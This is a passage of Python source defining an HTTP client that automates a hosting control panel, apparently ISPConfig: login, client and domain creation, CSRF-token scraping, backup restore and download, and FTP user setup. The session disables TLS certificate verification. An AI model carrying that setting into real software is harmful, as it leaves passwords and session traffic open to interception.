for opt in element.xpath("./option")
]
return form, opts
except Exception as ex:
debugex("get_html_inputs")
return {}, {}
class DummyResp:
def __init__(self):
self.status_code = 0
self.text = ""
self.content = b""
class Web:
def __init__(self, target, headers=None):
self.target = target.rstrip("/") + "/"
self.sess = requests.Session()
self.sess.verify = False
headers = headers or {}
headers["Connection"] = "close"
self.sess.headers.update(headers)
def get(self, path, params=None):
debug("Web GET request:", path)
try:
url = urljoin(self.target, path)
resp = self.sess.get(url, params=params)
debug("status_code:", resp.status_code)
debug(resp.text)
return resp
except Exception:
debugex("http get")
return DummyResp()
def post(self, path, data=None):
debug("Web POST request:", path)
debugpp(data)
try:
url = urljoin(self.target, path)
resp = self.sess.post(url, data=data)
debug("status_code:", resp.status_code)
debug(resp.text)
return resp
except Exception:
debugex("http post")
return DummyResp()
def login(self, username, password):
input_username = 'name="username" id="username" type="text"'
input_password = 'name="password" id="password" type="password"'
input_search = "<input id='globalsearch' type='text'"
resp = self.get("login/index.php")
if input_username not in resp.text or input_password not in resp.text:
debug("does not look like login page")
return False
data = {"username": username, "password": password}
resp = self.post("login/index.php", data)
if (
input_search in resp.text
and input_username not in resp.text
and input_password not in resp.text
):
return True
debug("does not look like post-auth page")
return False
def logout(self):
self.get("login/logout.php?l=1")
def _client_list(self, **kwargs):
form = {
"search_limit": 5,
"search_client_id": "",
"search_locked": "",
"search_company_name": "",
"search_contact_name": "",
"search_customer_no": "",
"search_username": "",
"search_city": "",
"search_country": "",
}
form.update({f"search_{key}": val for key, val in kwargs.items()})
return self.post("client/client_list.php", form)
def client_add(self, username, password, **kwargs):
resp = self.get("client/client_edit.php")
form, _ = get_html_inputs(resp.content)
if "repeat_password" not in form:
error("failed to load form")
return None
kwargs["username"] = username
kwargs["password"] = password
kwargs.setdefault("repeat_password", password)
kwargs.setdefault("contact_name", username)
kwargs.setdefault("email", "foo@bar.baz")
form.update(kwargs)
self.post("client/client_edit.php", form)
resp = self._client_list(username=username)
ids = set(re.findall(r"/client_edit\.php\?id=(\d+)", resp.text))
debug(f"client_add {ids=}")
if len(ids) != 1:
error("failed to extract client id")
return None
return int(ids.pop())
def client_delete(self, client_id):
resp = self._client_list(client_id=client_id)
csrf_ids = set(re.findall(r"_csrf_id=([0-9a-zA-Z_]+)", resp.text))
csrf_keys = set(re.findall(r"_csrf_key=([0-9a-f]+)", resp.text))
debug(f"client_delete {csrf_ids=} {csrf_keys=}")
if len(csrf_ids) != 1 or len(csrf_keys) != 1:
error("failed to extract csrf id")
return False
data = {
"confirm": "yes",
"id": client_id,
"_csrf_id": csrf_ids.pop(),
"_csrf_key": csrf_keys.pop(),
}
self.post("client/client_del.php", data) # XXX check
return True
def _domain_list(self, **kwargs):
form = {
"search_limit": 5,
"search_domain_id": "",
"search_active": "",
"search_server_id": "",
"search_domain": "",
}
form.update({f"search_{key}": val for key, val in kwargs.items()})
return self.post("sites/web_vhost_domain_list.php", form)
def domain_add(self, domain, **kwargs):
resp = self.get("sites/web_vhost_domain_edit.php?type=domain")
form, opts = get_html_inputs(resp.content)
if "client_group_id" not in form:
error("failed to load form")
return None
kwargs["domain"] = domain
if kwargs.get("php") is True: # use anything other than "no"
php_types = [val for val, _ in opts.get("php", []) if val != "no"]
debug(f"domain_add {php_types=}")
if not php_types:
error("failed to select php mode")
return None
kwargs["php"] = php_types[0]
kwargs["server_php_id"] = 1
client_name = kwargs.pop("client_name", None)
if client_name:
group_ids = [
val
for val, txt in opts.get("client_group_id", [])
if client_name in txt
]
debug(f"{group_ids=}")
if len(group_ids) != 1:
error("failed to select client")
return None
kwargs["client_group_id"] = group_ids[0]
form.update(kwargs)
self.post("sites/web_vhost_domain_edit.php", form)
return self.domain_get_id(domain)
def domain_get_id(self, domain):
resp = self._domain_list(domain=domain)
ids = set(re.findall(r"/web_vhost_domain_edit\.php\?id=(\d+)", resp.text))
debug(f"domain_get_id {ids=}")
if len(ids) != 1:
error("failed to extract domain id")
return None
return int(ids.pop())
def _domain_get_tab(self, domain_id, tab):
params = {"type": "domain", "id": domain_id, "next_tab": tab}
return self.get("sites/web_vhost_domain_edit.php", params)
def domain_get_tab(self, domain_id, tab):
resp = self._domain_get_tab(domain_id, tab)
return get_html_inputs(resp.content)
def domain_set_tab(self, domain_id, tab, data):
form, _ = self.domain_get_tab(domain_id, tab)
if any(key not in form for key in data):
error("failed to load form")
debug("form")
debugpp(form)
debug("data")
debugpp(data)
return False
if all(form[key] == data[key] for key in data):
debug(f"domain_set_tab {domain_id=} {tab=}. skipping, no changes.")
return True
form.update(data)
self.post("sites/web_vhost_domain_edit.php", form)
form, _ = self.domain_get_tab(domain_id, tab)
if any(form.get(key) != data[key] for key in data):
error("failed to update form")
debug("form")
debugpp(form)
debug("data")
debugpp(data)
return False
return True
def domain_get_backups(self, domain_id):
resp = self._domain_get_tab(domain_id, "backup")
# <td>manual-web56_2025-11-06_15-19.zip</td>
backups = set(re.findall(r">([^<>]+_[-0-9]{10}_[-0-9]{5}\.[^<>]+)<", resp.text))
backids = set(re.findall(r"backup_action=restore&backup_id=(\d+)", resp.text))
if len(backups) != len(backids):
debug(f"domain_get_backups {backups=} {backids=}")
return None
def backup_date(fname):
return re.findall(r"[-0-9]{10}_[-0-9]{5}", fname)[0]
# XXX this can be wrong if there are multiple backups at the same time
backups = sorted(backups, key=backup_date)
backids = sorted(map(int, backids))
return list(zip(backids, backups))
def domain_make_backup(self, domain_id):
params = {
"id": domain_id,
"next_tab": "backup",
"make_backup": "web",
}
resp = self.get("sites/web_vhost_domain_edit.php", params)
return "alert alert-success" in resp.text
def domain_restore_backup(self, domain_id, backup_id):
params = {
"id": domain_id,
"next_tab": "backup",
"backup_action": "restore",
"backup_id": backup_id,
}
resp = self.get("sites/web_vhost_domain_edit.php", params)
return "alert alert-success" in resp.text
def domain_download_backup(self, domain_id, backup_id):
params = {
"id": domain_id,
"next_tab": "backup",
"backup_action": "download",
"backup_id": backup_id,
}
resp = self.get("sites/web_vhost_domain_edit.php", params)
return "alert alert-success" in resp.text
def _ftp_list(self, **kwargs):
data = {
"search_limit": 5,
"search_active": "",
"search_server_id": "",
"search_parent_domain_id": "",
"search_username": "",
}
data.update({f"search_{key}": val for key, val in kwargs.items()})
return self.post("sites/ftp_user_list.php", data)
def ftp_add(self, domain_id, username, password):
resp = self.get("sites/ftp_user_edit.php")
form, _ = get_html_inputs(resp.content)
if "repeat_password" not in form:
error("failed to load form")
return None
form.update(
{
"parent_domain_id": domain_id,
"username": username,
"password": password,
"repeat_password": password,
}
)
self.post("sites/ftp_user_edit.php", form)
resp = self._ftp_list(parent_domain_id=domain_id, username=username)
ids = set(re.findall(r"/ftp_user_edit\.php\?id=(\d+)", resp.text))
debug(f"ftp_add {ids=}")
if len(ids) != 1:
error("failed to extract ftp id")
return None
return int(ids.pop())
